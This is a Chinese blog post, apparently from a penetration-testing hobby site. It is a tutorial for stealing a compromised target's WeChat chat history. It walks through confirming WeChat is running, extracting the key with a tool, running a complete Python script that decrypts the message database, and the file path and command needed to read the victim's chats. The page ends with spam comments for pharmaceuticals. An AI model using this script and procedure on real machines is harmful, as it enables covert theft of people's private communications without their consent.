神王姜太虚

文章 分类 评论
18 7 2

站点介绍

这里是站点介绍...

信息收集之获取wx聊天记录

admin 2022-10-06 270 0条评论 工具下载 wx聊天记录信息收集

首页 / 正文
1.前言开始

在内网渗透中 一般我的习惯是先打一台PC机,当通过某种手段拿下PC机后进行信息收集大概是可以用到,另一种是获取了登录账号密码,没有远程 也可以通过smb将文件传回本地进行信息收集,场景很多,根据具体情况而定。文章不知道会不会和谐,且看且珍惜。

下面就手把手教大伙如何获取目标的聊天记录~~

目标上线后可以通过VNC、截图、tasklist等多种手段来确认微信是否开启

获取key
使用工具 获取微信key

获取key后通过脚本进行解密

Python3

from Crypto.Cipher import AES

import hashlib, hmac, ctypes, sys, getopt



SQLITE_FILE_HEADER = bytes('SQLite format 3', encoding='ASCII') + bytes(1)

IV_SIZE = 16

HMAC_SHA1_SIZE = 20

KEY_SIZE = 32

DEFAULT_PAGESIZE = 4096

DEFAULT_ITER = 64000

opts, args = getopt.getopt(sys.argv[1:], 'hk:d:')

input_pass = ''

input_dir = ''



for op, value in opts:

    if op == '-k':

        input_pass = value

    else:

        if op == '-d':

            input_dir = value



password = bytes.fromhex(input_pass.replace(' ', ''))



with open(input_dir, 'rb') as (f):

    blist = f.read()

print(len(blist))

salt = blist[:16]

key = hashlib.pbkdf2_hmac('sha1', password, salt, DEFAULT_ITER, KEY_SIZE)

first = blist[16:DEFAULT_PAGESIZE]

mac_salt = bytes([x ^ 58 for x in salt])

mac_key = hashlib.pbkdf2_hmac('sha1', key, mac_salt, 2, KEY_SIZE)

hash_mac = hmac.new(mac_key, digestmod='sha1')

hash_mac.update(first[:-32])

hash_mac.update(bytes(ctypes.c_int(1)))



if hash_mac.digest() == first[-32:-12]:

    print('Decryption Success')

else:

    print('Password Error')

blist = [blist[i:i + DEFAULT_PAGESIZE] for i in range(DEFAULT_PAGESIZE, len(blist), DEFAULT_PAGESIZE)]



with open(input_dir, 'wb') as (f):

    f.write(SQLITE_FILE_HEADER)

    t = AES.new(key, AES.MODE_CBC, first[-48:-32])

    f.write(t.decrypt(first[:-48]))

    f.write(first[-48:])

    for i in blist:

        t = AES.new(key, AES.MODE_CBC, i[-48:-32])

        f.write(t.decrypt(i[:-48]))

        f.write(i[-48:])

运行脚本安装pip包时,一直安装失败。出现了一些问题,一番探查 发现原因是pip包冲突了

解决方法: 卸载crypto

pip3 uninstall crypto
pip3 uninstall pycrypto

重新安装

pip3 install crypto

此时就可以运行起来

解密

微信聊天db文件存储路径为:

C:\Users\xxxx\Documents\WeChat Files\xxxx\Msg\Multi

python key.py -k key值 -d MSG0.db

查询聊天记录

使用navicat连接db文件

评论(0)

最新评论

  • cheap cialis

    Awesome! Its genuinely amazing piece of writing, I have got much clear idea about from this paragraph.

  • apporabow

    Issuer services logged a strong increase of 24 relative to 1Q 13 due to increased corporate actions and technology reimbursements clomid by avents We are therefore revising our estimate to be 2

日历

2023年05月

 123456
78910111213
14151617181920
21222324252627
28293031   

友情链接

文章目录